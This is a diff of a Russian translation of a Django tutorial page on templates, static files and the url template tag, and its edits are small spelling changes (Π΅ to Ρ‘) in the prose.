-<p>Π¨Π°Π±Π»ΠΎΠ½ это тСкстовый Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт структуру ΠΈ располоТСниС Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ„Π°ΠΉΠ»Π΅, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π² Π½Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ (placeholders), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΏΠΎΠΊΠ°Π·Π° Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ содСрТимого, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Ρ…. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Django ΠΈΡ‰Π΅Ρ‚ Ρ„Π°ΠΉΠ»Ρ‹ шаблонов Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ '<strong>templates</strong>' Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго прилоТСния. НапримСр, Π²Π½ΡƒΡ‚Ρ€ΠΈ индСксной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ создали, Π²Ρ‹Π·ΠΎΠ² <code>render()</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π½Π°ΠΉΡ‚ΠΈ Ρ„Π°ΠΉΠ» <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> ΠΈ Π² случаС Π½Π΅ΡƒΠ΄Π°Ρ‡ΠΈ сгСнСрируСт ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ» Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ, Ссли Π²Ρ‹ сохранитС ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ измСнСния, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Π΅Ρ‚Π΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ Π½Π°Π±Π΅Ρ€Π΅Ρ‚Π΅ Π² адрСсной строкС <code>127.0.0.1:8000</code>. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, Π² ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ сообщСниС ΠΎΠ± ошибкС "TemplateDoesNotExist at /catalog/" ΠΈ нСкоторая другая информация.</p>
+<p>Π¨Π°Π±Π»ΠΎΠ½ это тСкстовый Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт структуру ΠΈ располоТСниС Π΄Π°Π½Π½Ρ‹Ρ… Π² Ρ„Π°ΠΉΠ»Π΅, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π² Π½Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ (placeholders), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΏΠΎΠΊΠ°Π·Π° Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ содСрТимого, Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Ρ…. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Django ΠΈΡ‰Π΅Ρ‚ Ρ„Π°ΠΉΠ»Ρ‹ шаблонов Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ с ΠΈΠΌΠ΅Π½Π΅ΠΌ '<strong>templates</strong>' Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго прилоТСния. НапримСр, Π²Π½ΡƒΡ‚Ρ€ΠΈ индСксной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ отобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΡ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ создали, Π²Ρ‹Π·ΠΎΠ² <code>render()</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ‹Ρ‚Π°Ρ‚ΡŒΡΡ Π½Π°ΠΉΡ‚ΠΈ Ρ„Π°ΠΉΠ» <strong>/locallibrary/catalog/templates/<em>index.html</em></strong> ΠΈ Π² случаС Π½Π΅ΡƒΠ΄Π°Ρ‡ΠΈ сгСнСрируСт ΠΎΡˆΠΈΠ±ΠΊΡƒ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ„Π°ΠΉΠ» Π½Π΅ Π½Π°ΠΉΠ΄Π΅Π½. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Π°Π½Π½ΡƒΡŽ ΠΎΡˆΠΈΠ±ΠΊΡƒ, Ссли Π²Ρ‹ сохранитС ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠ΅ измСнСния, Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄Ρ‘Ρ‚Π΅ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈ Π½Π°Π±Π΅Ρ€Ρ‘Ρ‚Π΅ Π² адрСсной строкС <code>127.0.0.1:8000</code>. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, Π² ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ сообщСниС ΠΎΠ± ошибкС "TemplateDoesNotExist at /catalog/" ΠΈ нСкоторая другая информация.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: На самом Π΄Π΅Π»Π΅, Π² зависимости ΠΎΡ‚ настроСк ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°, Django просматриваСт нСсколько мСст Π² поисках шаблона (поиск Π² Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ прилоТСния осущСствляСтся ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ!). Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΡˆΠ°Π±Π»ΠΎΠ½Π°Ρ… ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚, пСрСйдя ΠΏΠΎ ссылкС <a href="https://docs.djangoproject.com/en/1.10/topics/templates/">Π¨Π°Π±Π»ΠΎΠ½Ρ‹</a> (Django docs).</p>
@@ -278,7 +278,7 @@ def index(request):
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ шаблона Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π² Π΄Π²ΠΎΠΉΠ½Ρ‹Π΅ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки (<code>\{{Β num_books }}</code>) , Π° тэги шаблона (Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ шаблона), ΠΏΠΎΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ΠΎΠ΄ΠΈΠ½Π°Ρ€Π½Ρ‹Π΅ Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки со Π·Π½Π°ΠΊΠ°ΠΌΠΈ ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π° (<code>{% extends "base_generic.html" %}</code>).</p>
</div>
-<p>Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΈΠΌΠ΅Π½Π°, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… <em>ΠΊΠ»ΡŽΡ‡Π΅ΠΉ</em> ΠΈΠ· словаря ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>context</code>, которая, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, пСрСдаСтся ΠΈΠ· отобраТСния, Π²ΠΎ врСмя Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>render()</code> (смотри Π½ΠΈΠΆΠ΅). ΠŸΡ€ΠΈ отрисовкС шаблона, вмСсто этих ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Π±ΡƒΠ΄ΡƒΡ‚ подставлСны, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠΌ, <em>значСния</em>.Β Β </p>
+<p>Π’Π°ΠΆΠ½ΠΎ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΈΠΌΠ΅Π½Π°, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠΌΠ΅Π½Π°ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Π²Π°Π΅ΠΌΡ‹Ρ… <em>ΠΊΠ»ΡŽΡ‡Π΅ΠΉ</em> ΠΈΠ· словаря ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>context</code>, которая, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, пСрСдаётся ΠΈΠ· отобраТСния, Π²ΠΎ врСмя Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>render()</code> (смотри Π½ΠΈΠΆΠ΅). ΠŸΡ€ΠΈ отрисовкС шаблона, вмСсто этих ΠΊΠ»ΡŽΡ‡Π΅ΠΉ Π±ΡƒΠ΄ΡƒΡ‚ подставлСны, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ ΠΈΠΌ, <em>значСния</em>.Β Β </p>
<pre class="brush: python">return render(
request,
@@ -288,7 +288,7 @@ def index(request):
<h4 id="Бсылка_Π½Π°_статичСскиС_Ρ„Π°ΠΉΠ»Ρ‹_ΠΈΡ…_шаблонов">Бсылка Π½Π° статичСскиС Ρ„Π°ΠΉΠ»Ρ‹ ΠΈΡ… шаблонов</h4>
-<p>Π›ΡŽΠ±ΠΎΠΉ ваш ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ с большой Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ статичСскиС рСсурсы, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ JavaScript, CSS ΠΈ изобраТСния. Π’ связи с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ располоТСниС этих Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСизвСстно (ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ), Django позволяСт Π²Π°ΠΌ Π² шаблонС ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ располоТСниС Π΄Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ глобального значСния <code>STATIC_URL</code> (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>STATIC_URL</code> установлСно Π² '<code>/static/</code>',Β  Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Π°Π², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сСтСвой рСсурс, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Π΅).</p>
+<p>Π›ΡŽΠ±ΠΎΠΉ ваш ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ с большой Π²Π΅Ρ€ΠΎΡΡ‚Π½ΠΎΡΡ‚ΡŒΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ статичСскиС рСсурсы, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ JavaScript, CSS ΠΈ изобраТСния. Π’ связи с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ располоТСниС этих Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ нСизвСстно (ΠΈΠ»ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ), Django позволяСт Π²Π°ΠΌ Π² шаблонС ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ располоТСниС Π΄Π°Π½Π½Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ глобального значСния <code>STATIC_URL</code> (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>STATIC_URL</code> установлСно Π² '<code>/static/</code>',Β  Π½ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ любоС Π΄Ρ€ΡƒΠ³ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Π°Π², Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, сСтСвой рСсурс, ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π΅Ρ‰Ρ‘).</p>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ шаблона Π²Ρ‹Β  Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (тэг) <code>load</code>, которая Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ ΡΡ‚Π°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ "static" (ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅). ПослС Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ статичСская Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ тэг шаблона <code>static</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡƒΡ‚ΡŒ URL ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π΅ΡΡƒΡŽΡ‰Π΅ΠΌΡƒ вас Ρ„Π°ΠΉΠ»Ρƒ.</p>
@@ -303,7 +303,7 @@ def index(request):
</pre>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Ρ‹ΡˆΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΏΡƒΡ‚ΠΈ располоТСния Ρ„Π°ΠΉΠ»ΠΎΠ², Π½ΠΎ Django Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΡ… ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’ процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сСрвСр ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ значСния, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π² глобальном Ρ„Π°ΠΉΠ»Π΅ URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ (<strong>/locallibrary/locallibrary/urls.py</strong>), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ создали Π² части <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">созданиС скСлСта сайта</a>. Π’ дальнСйшСм, Π² ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½Π΅, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡ‚ΠΎΡ‡Π½ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ располоТСния статичСских Ρ„Π°ΠΉΠ»ΠΎΠ². ΠœΡ‹ вСрнСмся ΠΊ этому ΠΏΠΎΠ·ΠΆΠ΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Ρ‹ Π²Ρ‹ΡˆΠ΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚ ΠΏΡƒΡ‚ΠΈ располоТСния Ρ„Π°ΠΉΠ»ΠΎΠ², Π½ΠΎ Django Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΡ… ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’ процСссС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ сСрвСр ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ значСния, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π² глобальном Ρ„Π°ΠΉΠ»Π΅ URL-ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠΉ (<strong>/locallibrary/locallibrary/urls.py</strong>), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ создали Π² части <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">созданиС скСлСта сайта</a>. Π’ дальнСйшСм, Π² ΠΏΡ€ΠΎΠ΄Π°ΠΊΡˆΠ΅Π½Π΅, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡ‚ΠΎΡ‡Π½ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ располоТСния статичСских Ρ„Π°ΠΉΠ»ΠΎΠ². ΠœΡ‹ вСрнёмся ΠΊ этому ΠΏΠΎΠ·ΠΆΠ΅.</p>
</div>
<p>Для получСния Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ со статичСскими Ρ„Π°ΠΉΠ»Π°ΠΌΠΈΒ  ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΏΠΎ ссылкС <a href="https://docs.djangoproject.com/en/1.10/howto/static-files/">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ статичСскими Ρ„Π°ΠΉΠ»Π°ΠΌΠΈ</a> (Django docs).</p>
@@ -315,7 +315,7 @@ def index(request):
<pre class="brush: python">&lt;li&gt;&lt;a href="{% url 'index' %}"&gt;Home&lt;/a&gt;&lt;/li&gt;
</pre>
-<p>Π”Π°Π½Π½Ρ‹ΠΉ тэг с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>url()</code>, ΠΈΡ‰Π΅Ρ‚ Π² Ρ„Π°ΠΉΠ»Π΅ <strong>urls.py</strong> связанноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π² качСствС Π΅Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>'index'</code>, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ссылки Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ рСсурсы.</p>
+<p>Π”Π°Π½Π½Ρ‹ΠΉ тэг с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>url()</code>, ΠΈΡ‰Π΅Ρ‚ Π² Ρ„Π°ΠΉΠ»Π΅ <strong>urls.py</strong> связанноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Π² качСствС Π΅Ρ‘ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>'index'</code>, Π° Π·Π°Ρ‚Π΅ΠΌ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ссылки Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ рСсурсы.</p>
<h2 id="Как_Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ_всС_это_выглядит">Как Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ всС это выглядит?</h2>
@@ -333,7 +333,7 @@ def index(request):
<ol>
<li>Π’ Π³Π»Π°Π²Π½ΠΎΠΌ Ρ„Π°ΠΉΠ»Π΅ шаблона (<em>base_generic.html</em>) Π΅ΡΡ‚ΡŒ Π±Π»ΠΎΠΊ <code>title</code>. ΠŸΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚Π΅ этот Π±Π»ΠΎΠΊ Π² индСксном шаблонС (<em>index.html</em>) ΠΈ Π·Π°Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ для этой страницы.</li>
- <li>ΠœΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΡƒΠΉΡ‚Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ отобраТСния Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… количСство ΠΆΠ°Π½Ρ€ΠΎΠ² ΠΈ количСство ΠΊΠ½ΠΈΠ³, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ содСрТат Π² своих Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°Ρ… ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ слово (Π±Π΅Π· ΡƒΡ‡Π΅Ρ‚Π° рСгистра), Π° Π·Π°Ρ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°ΠΉΡ‚Π΅ эти значСния Π² шаблон.</li>
